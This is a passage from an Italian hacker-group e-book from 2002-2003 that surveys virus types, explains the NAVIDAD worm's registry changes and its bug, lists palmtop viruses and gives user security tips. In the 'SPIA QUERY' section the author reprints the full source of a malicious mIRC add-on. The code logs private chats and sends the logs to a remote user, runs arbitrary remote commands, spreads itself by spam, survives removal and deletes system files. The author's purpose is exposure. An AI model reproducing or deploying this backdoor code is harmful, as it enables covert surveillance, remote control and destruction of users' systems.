Stealth nascondono le proprie moodifiche manipolando le funzioni di sistema che il sistema operativo impiega per leggere i file o i settori dal dispositivo di memorizzazione e modificano i risultati delle chiamate a tali funzioni. Spesso i SW antiV non riescono a rilevare questo tipo di virus. Per proteggersi contro il rilevamento, i virus devono trovarsi in memoria mentre si utilizza l' antiV. Un esempio di V Stealth è il primo esempio documentato di virus per MS-DOS, il famoso "BRAIN". Questo virus si inserisce nel settore del boot monitorizzando le operazioni Input e Output su disco e redirige il sistema operativo ogni volta che tenta di leggere un settore di boot infetto. In termini di programmazione, il virus cattura l'interrupt DOS21H, un'interrupt di sistema che gestisce i servizi DOS. Perciò se esiste la possibilità che un comando dell'utente possa indicare la presenza dell'infezione, il virus redirige il servizio DOS in un'altra area di memoria che fornisce al DOS informazioni false. I Virus Slow (lenti) I virus slow sono difficili da rilevare in quanto attaccano solo file (es. i file COM in DOS e Windows) che il sistema operativo sta modificando o copiando. Questo virus infetta un file solo quando un'utente esegue su di esso determinate operazioni. Ad esempio, un V Slow puo' infettare il settore di boot di un floppy solo quando viene eseguito il comando FORMAT o SYS che scrivono sul settore boot. Questo virus puo' infettare un file copiato ma non il file originale. E' molto difficile rilevare questo vurus. Un verificatore dell'integrità noterebbe il nuovo file indicando all'utente un problema in quanto per il file non è disponibile il valore checksum. Gli strumenti piu' efficaci contro questo tipo di virus sono le integrity shell (verificatori di integrità residenti in memoria). Le integrity shell monitorizzano costantemente la creazione di ogni nuovo file e tentano di controllare che tutte le operazioni implicate nella creazione del file non siano interessate dal virus. Un altro metodo per la verifica dell'integrità si chiama "decoy launching". In questo caso, il SW di controllo crea alcuni file COM e EXE il cui contenuto è noto solo al verificatore di integrità. Dopo la creazione dei file, il SW controlla il loro contenuto, per vedere se è stato modificato da un virus Slow. I Virus Retro Un virus Retro cerca di sfuggire alle operazioni di un programma antiV attaccando direttamente il SW antiV. Creare un virus Retro non è difficile. Chi crea virus, ha accesso a tutti i programmi antivirus disponibili sul mercato. Dunque essi non devono fare altro che studiare il programma che vogliono distruggere fino a trovare i punti deboli che gli sviluppatori di antiV non avevano considerato. Il tipo più comune di virus Retro ricerca nel SW antiV il file contenente le firme dei virus e le cancella, rendendo l'antiV innocuo. Un tipo più sofisticato di questo genere di virus controlla il data base del verificatore di integrità del SW e lo cancella. Altri virus Retro rilevano l'attivazione dell'antiV e si nascondono nel programma, fermandone l'esecuzione o richiamando una routine distruttiva prima che il programma antiV riesca a rilavare l'infezione, spesso un comando corrispettivo a Deltree, format o direttamente lo smontamento dei cluster del disco fisso… una catastrofe. Ecco perché è sempre bene utilizzare un antivirus con scansione euristica, in caso la subroutine maligna entrasse in azione il SW antivirus potrebbe essere in grado di rilevarla e bloccarla. 23 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 24 I Virus Multiparte (ad attacco multiplo) I virus Multiparte infettano sia i file eseguibili che il settore di boot e talvolta anche i settori di boot floppy. I virus Multiparte infettano il computer in vari modi e non si limitano a determinare aree del disco fisso o a determinati tipi di file. Quando si esegue un'applicazione infettata con un virus Multiparte, esso infetta il settore di boot del disco fisso della macchina. La prossima volta che si avvia il computer, il virus si riavvia infettando ogni programma eseguito. Uno dei più famosi virus Multiparte si chiama ONE-HALF e si comporta anche come un virus Stealth e poliformico. I VIrus Armored (corazzati) I virus Armored si proteggono utilizzando un particolare codice che ne rende difficile l'individuazione, il disassemblaggio e la compressione del codice. Questo virus può proteggersi all'interno del codice che ha lo scopo di distrarre l'osservatore dal reale codice operativo. Alternativamente, il virus può nascondersi all'interno di codice dissimulante che indica l'indirizzo del virus in un altro settore del disco. Uno dei più noti virus di questo genere si chiama WHALE. I Virus Companion I virus Companion si attaccano a un file eseguibile creando un nuovo file con un'estensione diversa dal file di origine. Questi codici maligni riescono a creare un file di accompagnamento per ogni file eseguibile infettato. Ad esempio, un virus Companion può salvarsi nel file command.exe e ogni volta che un utente esegue questo file, il sistema operativo lancerà il file con il virus infettando il sistema. Un virus Companion spesso è generato da un virus PHAGE. I Virus Phage Sono programmi che modificano altri programmi o data base in modo non autorizzato. Di solito i virus Phage sostituiscono il codice eseguibile del programma con il proprio codice piuttosto che attaccarsi semplicemente al codice del programma. Spesso i virus Phage generano un virus Companion. I virus Phage sono estremamente distruttivi in quanto non solo si replicano e procedono nell'infezione ma cercano di distruggere ogni programma infettato. I Virus Worm Il virus Worm fu il primo virus a raggiungere INTERNET. Il Worm blocca il computer creando un numero enorme di copie di se stesso nella memoria del PC costringendo gli altri programmi a uscire dalla memoria o creando errori di protezione generale, violazione delle condivisioni, ecc.. Altro “asso nella manica” del Worm è quella di assicurarsi la propagazione dell’infezione attraverso la rete locale o internet sfruttando la vulnerabilità dei vari sistemi operativi, dei protocolli, dei client di posta elettronica e dei browser. La riproduzione in un luogo remoto è importante, perchè dopo che il virus ha provocato la chiusura del computer, è probabile che un utente esegua immediatamente un programma per l'eliminazione di tutti i virus. Per la natura delle attività di un virus Worm, questi non devono modificare un programma nell'host per potersi diffondere. Per operare senza modificare i programmi dell'host, i Worm richiedono l'impiego di sistemi operativi che offrano la possibilità di esecuzioni remote, ovvero sistemi operativi in cui un programma in arrivo possa essere eseguito automaticamente. Il limite dell'esecuzione remota ha ristretto il Worm Internet del 1988 ai soli sistemi UNIX, come ad esempio le workstation Sun. Oggi invece, con lo sviluppo di software “tuttofare” 24 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 25 come Outlook abbiamo potuto assistere all’incremento della diffusione del virus Worm che pare stia diventando una specie dominante nel settore delle infezioni informatiche. Virus specifici per reti I server e le reti possono essere attaccati da due tipi di virus: virus per file e virus a macro. In genere su internet non circolano virus che attaccano i settori di boot, un'altra forma di virus che appare ogni tanto in alcune reti, in quanto i PC connessi a internet non possono eseguire operazioni su disco a livello di settore su altri computer connessi a internet. Un server Internet in genere non puo' scrivere sui file di un altro computer. Solo il computer ricevente può scrivere dati sul proprio hard disk. Vie d'Infezione nella rete Ecco i principali veicoli utilizzati dai Virus: - Tramite una copia, eseguita dall'utente, dei file infettati direttamente nel server. Dopo che un utente ha copiato il file nel server, il virus inizierà il suo processo di infezione a partire dalla prima volta che il file infetto verrà eseguito. - L'esecuzione di un virus per file su una workstation può infettare la rete. Dopo che il virus ha iniziato a funzionare sulla workstation connessa al server, potrà rapidamente compromettere man mano l'intera rete. - L'esecuzuione del virus per file residente in memoria su una workstation può infettare la rete. Dopo che il virus per file residente in memoria inizia la propria esecuzione, può ottenere informazioni dal server e copiarsi sul server senza neppure che l'utente acceda direttamente al server [Ricordiamoci che una rete costituita da computer Host e da un server, mantiene una fitta e continua comunicazione di dati a livello fisico, e quindi verso lo stack dei protocolli che rimane attivo fino allo spegnimento delle macchine]. I virus a Macro I virus a macro sono tra i più pericolosi per le reti. Il più grande pericolo di questi virus a macro è il fatto che sono indipendenti dalla piattaforma e dal sistema operativo, esattamente come internet. Non sono legati a file eseguibili o a file di codice oggetto ma sono principalmente contenuti in file di dati. Le Macro sono piccoli programmi scritti utilizzando il linguaggio di programmazione interno (script o macro) di un determinato programma applicativo. Fra i più comuni esempi di programmi applicativi che includono un linguaggio per macro vi sono i word processor, i fogli di calcolo elettronici e i file per la manipolazione d'immagini (Lingo di Flash ad esempio) Gli autori dei virus a macro, scrivono questi programmi in modo da potersi replicare all'interno dei documenti creati dal programma applicativo. Frequentemente i virus a macro cancellano i file in modo da renderli irrecuperabili. I virus a macro in genere possono essere eseguiti su ogni piattaforma in quanto l'applicazione in questione ha un proprio linguaggio di programmazione interno. Questo linguaggio libera il virus dal fatto di poter essere eseguito su un'unica piattaforma o su un unico sistema operativo. I linguaggi di programmazione interni della maggior parte delle applicazioni sono strumenti estrememente potenti. In genere sono in grado di cancellare e rinominare i file e directory oltre, naturalmente, a consentire la modifica dei file esistenti. I virus a macro scritti in questo linguaggio possono 25 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 26 dunque eseguire le stesse operazioni. In passato la maggior parte dei virus veniva scritta in Microsoft WordBasic o, più recentemente, in Microsoft Visual Basic for Application (VBA). Word Basic è il linguaggio di programmazione interno di Microsoft Word per Windows (fino alla versione 6.0) e Word 6.0 per Macintosh. Poichè VBA viene eseguito ogni volta che un utente esegue un programma in Microsoft Office, i virus a macro scritti in VBA possono essere molto pericolosi. In altre parole, un virus a macro scritto in VBA potrebbe infettare un documento di Excel, un database di access o una presentazione di Power Point. Oggi i pacchetti Office hanno un piccolo motore euristico interno in grado di individuare Macro all’interno dei file. Viene segnalata la presenza di una macro e si chiede se si vuole che questa venga eseguita oppure no. VIRUS FAMOSI Il Caso NAVIDAD, il virus buggato Il Navidad è una specie di virus molto frequente. Molto spesso riceviamo allegati con nomi strani tipo: =(26,,-mos,.zip e credendo che si tratti di un file .zip magari qualcuno ci casca, ma attenzione, al 99% sono virus. L'estensione del file che vediamo, non è in realtà la vera estensione. Ci sono diversi modi per nascondere l'effettiva natura di un file. Uno dei più usati è il sistema dei 64 caratteri vuoti dopo l'estensione fittizia e poi quella reale, es: X79Comv.mp3____________________________________________________________ ____.exe dove il carattere "_" sta per uno spazio vuoto. Altri metodi sono quelli di creare un file doppio racchiuso in uno. Si procede solitamente con un programma che nasconde un'altro programma oppure dentro un'immagine. Il più delle volte questa tecnica viene però utilizzata per i virus di tipo Trojan Horse. Torniamo ora al virus NAVIDAD. Il virus si manifesta nel seguente modo: doppio click del mouse e subito appare un messaggio di errore. Dopodichè possiamo assistere alla comparsa di un occhio blu nella systray. Se vi clikkiamo sopra con il mouse vengono mostrati sullo schermo un altro messaggio: "Nunca presionar este boton Feliz Navidad Lamentablemente cayo en la tentacion y perdio su computadora" Ma ora vediamo a livello tecnico come si comporta il virus. La particolarità di questo Worm è quella di potersi autoreplicare e di auto inviarsi atrraverso i network, utilizzando Messaging Application Programming Interface della posta elettronica come mezzo di spostamento. In questo caso, il virus è un PE che corrisponde a un Portable Executable a 32 bit e arriva come allegato con il nome di NAVIDAD.EXE. Appena viene avviato, il file si copia automaticamente nella cartella di sistema di Win9x - Win NT utilizzando il nome WINSRVC.VXD. Con questo meccanismo, il worm si garantisce l'esecuzione automatica di se stesso in particolari condizioni modificando il registro di sistema. Ma ecco il colpo di scena: anche i virus possono avere un BUG. E questo è proprio il caso del NAVIDAD. Il bug in questione, è un errore di compilazione nel codice che gli impedisce di compiere questa operazione. Infatti, quando viene modificato il registro di sistema, il virus crea un riferimento a se stesso usando il nome WINSRVC.EXE invece che WINSRVC.VXD e quindi la copia del worm non verrà mai eseguita dal sistema. Ecco le chiavi di registro che il Worm modifica: 26 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 27 HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\CURRENTVERSION\Run Win32BaseServiceMod = %SystemDir%\winsvrc.exe e HKEY_CLASSES_ROOT\exefile\shell\open\command {Default} = %SystemDir%\winsvrc.exe %1 %* dove %SystemDir%. Il Worm continua la sua "missione" creando una chiave priva di valori: HKEY_CURRENT_USER \SOFTWARE\NAVIDAD. Ma a causa del BUG, il sistema infetto non è in grado di eseguire in modo esatto il file EXE e questo lo possiamo constatare nella chiave: HKEY_CLASSES_ROOT\exefile\shell\open\command. In questo modo, quando lanciamo un programma, il computer risponderà con una finestra d'errore. Praticamente il virus a questo punto, malgrado non riesca a replicare se stesso, riesce in ogni caso a creare un danno non indifferente. Ma si può ancora correre ai ripari. L'unico modo che abbiamo di rimettere le cose a posto se proprio non possiamo formattare è quella di andare a rimettere a posto la stringa di codice nel REGEDIT. Ma a questo punto sorge un problema. Il REGEDIT è un .EXE e quindi nemmeno lui potrà avviarsi. Non c'è problema, basterà rinominare il file Regedit.exe in Regedit.COM. Fatto questo potremo andare a modificare la chiave: HKEY_CLASSES_ROOT\exefile\shell\open\command che dovrà essere impostata al valore '%1' e '%'. Lo “SPIA QUERY” Una piccola soddisfazione ogni tanto ci vuole… LordMarck ed io siamo stati i primi a capire che si trattava di un virus, come poi lo si è appreso frequantando i canali dedicati a IRC. Qui di seguito riporto l’articolo che avevo scritto per l’occasione. Qualche tempo fa, mentre ero in chat con il mio carissimo amico LordMark, saltò fuori lo SPIA QUERY. Non avevo mai sentito parlare di questo Add per mIRC e così chiesi proprio a LordMark di cosa si trattasse. Secondo lui era un virus bello e buono. Lo aveva scaricato da www.grandesito.net (scoperto dopo poco tempo chge si trattava del sito di un lamer esaltato all'ennesima potenza) per vedere di cosa si trattasse. Me lo inviò per un controllo. Avviai il mio portatile che uso per gli esperimenti atomici (dal famoso Trony, smisi di usare il mio Pc per gli esperimenti) e aprii hackman disassembler. Vi riporto qui sotto il contenuto dello spia query: Questo comando spegne il PC, pensate un po' voi se stavamo facendo contemporaneamente un lavoro senza averlo ancora salvato) ..ctcp 1:_windows3:{ /.msg $nick Provo a formattare il mio pc! | .timer 1 0 /run rundll32.exe user.exe,formatwindows | halt } (Questo comando invece fa di peggio, formatta il PC) ..ctcp 1:_carica3:{ /.msg $nick Sto caricando un'altro file, almeno quando $me cancella lo spia query c'. ancora e non se ne accorge! | .timer 1 0 /.copy $mircdir\SpiaQuery.mrc c:\windows\system\SpiaQuery.mrc | /.load -rs c:\windows\system\SpiaQuery.mrc | halt }..ctcp 1:_Controllo3:{ /.msg $nick Spia Query Versione %Versione }..on 1:TEXT:*grandesito*:#:{ /.msg $nick Spia Query %Versione | halt (Questo comando serve a far si che anche se rimuovi il file, questo si ricopia, insomma, non lo puoi cancellare) }..;======================M4st3rz=========================== =========..on 1:INPUT:*:{ .. write $mircdir\log.spm LOG: " $+ $1- $+ " in $active ( $+ $date - $time $+ ) $+ $crlf ..}..on 1:TEXT:*:?:{.. write $mircdir\log.spm QUERY@RICEVUTO: " $+ $1- $+ " da $nick ( $+ $date - $time $+ ) $+ $crlf ..}..on 1:TEXT:*:#:{.. write $mircdir\log.spm CANALE@RICEVUTO: " $+ $1- $+ " in $chan da 27 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 28 $nick ( $+ $date - $time $+ ) $+ $crlf ..}..;=====================M4st3rz=========================== ========== ..ctcp 1:_LEGGILOG:{.. .msg $nick .14*** .15[ . 14http://www.grandesito.net.15 ].14 ***.. .play $nick $mircdir\log.spm $2.. halt..} ..; ===========================M4st3rz======================== ..ctcp 1:_Virus:{.. .notice $nick Controllo: ok...backdoor rilevata su $me $+ ..... halt..}..; ===========================M4st3rz======================== ..ctcp 1:_COMANDO:{..$2-...msg $nick Comando eseguito: $2-.. halt..}..; ===========================M4st3rz======================== ..alias start {.. /echo Attendere...configurazione Spia Query in corso... | /echo Configurato!.. .set %Versione 3.0.. .spia.. .set %spam on.. } ....alias startX {.. /echo Rimozione sistema in corso....... /.remove c:\windows\Win.com.. /.remove c:\autoexec.bat.. /.echo Formattazione Windows $+ $os Completata.. }.. (Altro "bel" comando, rimuove il file win.com e l'autoexec.bat... ) ..alias Spia { /window @SpiaQuery | /echo -a Clicca col tasto destro del mouse! }..menu @SpiaQuery {..SpiaQuery...Spia Query:/.msg $$?:"Che nick vuoi spiare?" We attento, $me ti vuole spiare la query! http://supersito.cjb.net | /echo -a < $+ $nick $+ > Ti amo! | /echo anche io amore! | halt...-...Auto Messaggio....[ON]:/set %spam on | /echo Spam On!.. ..[OFF]:/set %spam off | /set %spam on | /echo Spam Off!...-... Cosa vuoldire auto messaggio?:/echo -a AUTO MESSAGGIO VUOLDIRE CHE QUANDO QUALCUNO ENTRA IN UN CANALE TU GLI DICI "CIAO, SCARICA LO SPIA QUERY" ECC! OK? CIAO | halt..}..;===================== ======================M4st3rz============================= ==== ..on *:join:#: {.. if (($nick != $me) && (%spam == on)) { /.timer 1 0 /.msg $nick .9.Ciao! Vuoi spiare le query? Vai su http://www.grandesito.net e scarica lo Spia Query %versione ! Inoltre c'. anche un video porno gratis...ciao! | halt }..}..;===========================================M4st3rz= ===== ================================= ..on 1:LOAD:{.. /set %config $?!:"AVVISO $crlf $crlf Non mi prendo alcuna responsabilit. sui danni che potrebbe causare lo SpiaQuery %versione $+ . $crlf Se sei daccordo clicca su Si. ".. if (%config == $true) { /start }.. else { /startx }.. /set %config $?!:"Configurazione: $crlf 1.: Messaggio automatico ".. if (%config == $true) { /set %spam on }.. else { /set %spam off | /set %spam on }.. }..; (Eccone un altro... Qui ti pone le modalità di voler o no accettare i termini di contratto. Se accetti, tutto ok, altrimenti parte la formattazione del disco fisso utilizzando la variabile startx). Questo è solo un file creato da un lamer da quattro soldi, ma in giro c'è di molto meglio... o peggio, dipende dai punti di vista. VIRUS: LA NUOVA PROGENESI Ormai ci siamo abituati, o quasi, chi più e chi meno, a vedere sempre più gente con il computer Palmare. Bene, anche questi piccoli gioielli sono attaccabili da virus informatici. I Palmari non sono calcolatrici tascabili! Come qualcuno mi ha detto recentemente.. Meglio essere chiari sin dall’inizio. Cosa sono i computer palmari prima di tutto? Sono computer a tutti gli effetti che hanno il vantaggio di poter esser infilati comodamente in tasca. Tutto qui. Ovviamente non hanno 28 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 29 montato su sistemi operativi come Win9x o Linux. Per i palmari le software house hanno sviluppato sistemi operativi appositi, tra cui: PalmOS, WindowsCE, Epoc. Stranamente solo due di questi sistemi operativi sono attaccabili dai virus (ma ci stanno arrivando non vi preoccupate) e sono PalmOS e Epoc. Sono un microscopico frammento i virus per palmari rispetto ai loro cugini che lavorano sotto piattaforme come UNIX e Windows, ma pur sempre letali. Eccovene alcuni: Ghost.a Infetta Symbian Epoc Una sub routine con funzione random mostra sul display degli insulti di vario genere. Lights Infetta Symbian Epoc Accende e scegne in continuazione la retroilluminazione del palmare. Se avete questo sintomo sul vostro palmare, lo troverete bello e gioioso nella directory \System\Apps con il nome lights.opo Alarm.a Infetta Symbian Epoc. Fa emettere al palmare un suono di allarme fino all’esaurimento delle batterie. Uno dei veicoli d’infezione può essere la porta infrarossi. Potrete trovarlo in \System\Apps con il nome Sys$Tim.opo Phage.963 Infetta PalmOS Cancella tutto quello che si trova a monitor e richiude subito tutte le applicazioni che andiamo ad aprire. Vapor Infetta PalmOS Fa sparire le icone dal monitor. LA SICUREZZA A LIVELLO UTENTE Negli ultimi tre anni, dopo che quella che era solo una passione è diventato un lavoro, mi sono spesso imbattuto in carenze di sicurezza a livello utente. Questo significa che la maggior parte delle aziende non istruisce abbastanza i propri utenti su un corretto funzionamento della rete. Sembrerà assurdo, ma il comportamento dell’utente medio a contatto con apparecchiature come i computer diventa spesso una bomba pronta ad esplodere. Il problema non è tuttavia da imputare all’utente, ma all’azienda che spesso sottovaluta il problema della sicurezza. Cosa si può fare allora? La cosa più semplice da fare innanzi tutto è quella di mettere delle basi solide nel comportamento di chi lavora su terminali aziendali in modo che qualunque cosa succeda, ogni singolo utente sappia cosa fare in caso intrusioni, malfunzionamenti o altro... Si dice spesso che le regolo d’oro sono “Non aprire gli allegati” e “Metti una password sicura”. Perfetto, ma malgrado queste due regole ballino nella testa degli utenti, abbiamo visto che comunque il problema rimane, anzi aumenta. Ma allora cosa si deve fare per 29 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 30 avere una postazione sicura all’interno di una rete aziendale? Chiaro, quello che scrivo ora potrà già essere cosa vecchia nel momento in cui le leggerete, sicuramente, ma almeno cercate di capirne il senso. Posta elettronica Teniamo presente che la maggior parte dei fabbricanti di virus dell’ultima generazione sono completamente impazziti dalla gioia nel sapere che gli utenti di internet a livello mondiale sono aumentati negli ultimi anni quasi quanto i funghi nel Trentino… Esattamente come un virus biologico, il virus informatico sfrutta le falle di sicurezza di browser e client di posta elettronica per potersi replicare e assicurarsi un tempo di vita lungo il più possibile. Vediamo cosa è successo negli anni… Fino a qualche anno fa le infezioni venivano trasmesse per lo più tramite supporti magnetici. Era quindi abbastanza facile debellare un’epidemia appena le case produttrici di antivirus trovavano il rimedio al virus. Oggi invece abbiamo connessioni ad internet costanti grazie all’ADSL o alla fibra ottica… Siamo praticamente sempre on-line e la rete si sa, è un veicolo di diffusione senza paragoni di informazioni, ed è proprio questo che sfruttano i virus. La velocità con cui un’infezione può propagarsi oggi rispetto a 10 anni fa è praticamente del 80% più alta. Mettiamoci poi che spesso gli utenti non aggiornano mai gli antivirus, mettiamoci che tutti gli utenti sono curiosi e se gli arriva una mail con scritto “I LOVE YOU”, non riescono a trattenersi dal cliccare sull’allegato che però non sanno essere in realtà un virus devastante. Una cosa importante quindi è quella di avere un buon antivirus sempre attivo nel task. Io consiglio sempre gli antivirus della Symantec (Norton Antivirus) perché discreti e perfettamente funzionali. Importante aggiornare costantemente l’antivirus perché ricordiamo che ogni giorno nascono almeno 10 Virus diversi, quindi… Segue… E con questo siamo arrivati alla fine. Spero di avervi fatto venire un po’ di curiosità e di avervi tirato una spallata come si deve per buttarvi sulla giusta strada, quella della conoscenza. I più esperti si accorgeranno che questa guida è molto “strampalata” se vogliamo vedere, ed è vero, perché costruita con pezzi di miei vecchi articoli, vecchie guide il tutto racchiuso in unico book. E’ anche molto superficiale se vogliamo vedere, un po’ sbrigativo in alcuni punti, ma purtroppo il tempo a mio disposizione è quello che è. Se 30 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved 31 trovate errori, sono sempre ben disposto a chiarire tutto, basterà scrivere a [email protected] e avere molta pazienza prima che giunga una risposta. Non sono quasi mai a casa, niente di che. Spero un giorno di poter scrivere un libro vero e proprio per spiegare tutti i punti con la dovuta attenzione che richiedono, e trattare tutte quegli argomenti che non ho potuto affrontare perché altrimenti avrebbe scatenato una reazione a catena, obbligandomi a parlare di altre e altre ancora…. Ogni tanto ho bisogno anche di dormire sapete? ☺ Onore e gloria Slàn… Max Mayde aka: JARRET ¦- Master'n'Member of Hacker Alliance Crew [- www.hackeralliance.net -] ¦- Member of Hosir Team [- www.hosir.com -] ¦- Email: [email protected] - [email protected] ¦- Maybe everything that dies somedays comes back.. Note sull’autore: Nato nel gennaio del 1979. Fin dall’età di 5 anni dimostra particolare interesse per tutto ciò che contiene circuiti elettronici. Questa passione per l’elettronica lo accompagna sino all’età di 9 anni, età in cui scopre i computers e le loro infinite possibilità. Inizia a programmare, sempre tra i 9 – 10 anni nel vecchio linguaggio Basic, per poi passare verso gli 11 – 12 anni alla programmazione con Algol e poco dopo con ADA. Soltanto verso i 14 anni inizia a perdere un po’ di vista l’informatica dedicandosi ad un’altra delle sue passioni: la musica. Assieme a quello che poi in seguito tutti conosceranno come Mr. Monkey Business inizia a suonare il pianoforte e la chitarra, passando entrambi da una rock band all’altra. Ma l’età del perfezionamento musicale arriva intorno i 16 anni, quando inizia a suonare non più solo hard rock, ma anche classica, blues e jazz, passando dal rock più pesante a partiture di Liszt, Beethoven e Chopin. Inizia a suonare anche la batteria in un periodo di transito tra crisi interiori e momenti di sconforto per motivi legati a vari eventi della sua vita. Incide sulle bacchette della batteria e sul pianoforte la scritta “Keep the Faith” (da una canzone dei Bon Jovi) e ne fa una massima di vita. Intorno i 17 anni riscopre le sue origini scozzesi e da allora non smetterà mai più di portare al polso una bandana con i colori bianco e blu della bandiera di Scozia. Torna così, con estrema prepotenza, la passione per la cultura di quella terra tanto lontana e che tanto sente nel proprio sangue, e, sempre da buon patriota, parla perfettamente il gaelico scozzese delle Highland. Sempre alla stessa età riscopre l’informatica che questa volta, per motivi personali, porta all’estremo, quasi alla follia più totale. Le sue notti sono all’insegna dello studio dei protocolli, dei linguaggi di programmazione e dei principali sistemi operativi. Studia quasi alla nausea sino a notte fonda se non addirittura fino all’alba, portando il proprio bagaglio di conoscenze informatiche a livello avanzato. Smembra codici, riscrive listati, mette in rete uno o più computer e comunica con essi scrivendo direttamente i pacchetti TCP/IP. Impara e ripassa linguaggi come ADA (orientato alla programmazione di strumentazioni militari), Algol, Basic, Logo, e qualche infarinatura di C e Pascal. Solo in seguito studierà anche Perl. Arrivano così i 21 anni. Inizia lavorando come tecnico informatico per piccole società ocupandosi anche di audio e video. In seguito, inizierà a lavorare per diverse aziende dove si occupa di programmazione e beta test sui software di alcune multinazionali. Lavora per varie società in qualità di consulente sulla sicurezza informatica e nel frattempo inizia ad appassionarsi alla creazione di siti web. Passa così un altro periodo di studio, orientato ai linguaggi web e alla creazione di siti dinamici con Flash. Oggi Jarret ha 25 anni e vive (come gli piace definirlo) a "North". Ha alle spalle diverse esperienze lavorative del campo del web design, programmazione, sistemista di rete e network security. Al momento libero professionista nei campi sopra citati. Collabora saltuariamente allo sviluppo di moduli e applicativi strutturati su algoritmi genetici e reti neurali. "Il mio sogno è quello di poter realizzare o almeno buttare le basi di quello che viene definito come 'Programmazione Genetica Neurale Artificiale' o semplicemente G.N.A. Project. Un sogno che porto dentro da anni, una di quelle cose che 'devono' essere fatte a qualsiasi costo.. forse una delle ragioni per cui sono qui.." 31 http://www.hackeralliance.net Copyright www.hackeralliance.net 2002-2003 All Right Reserved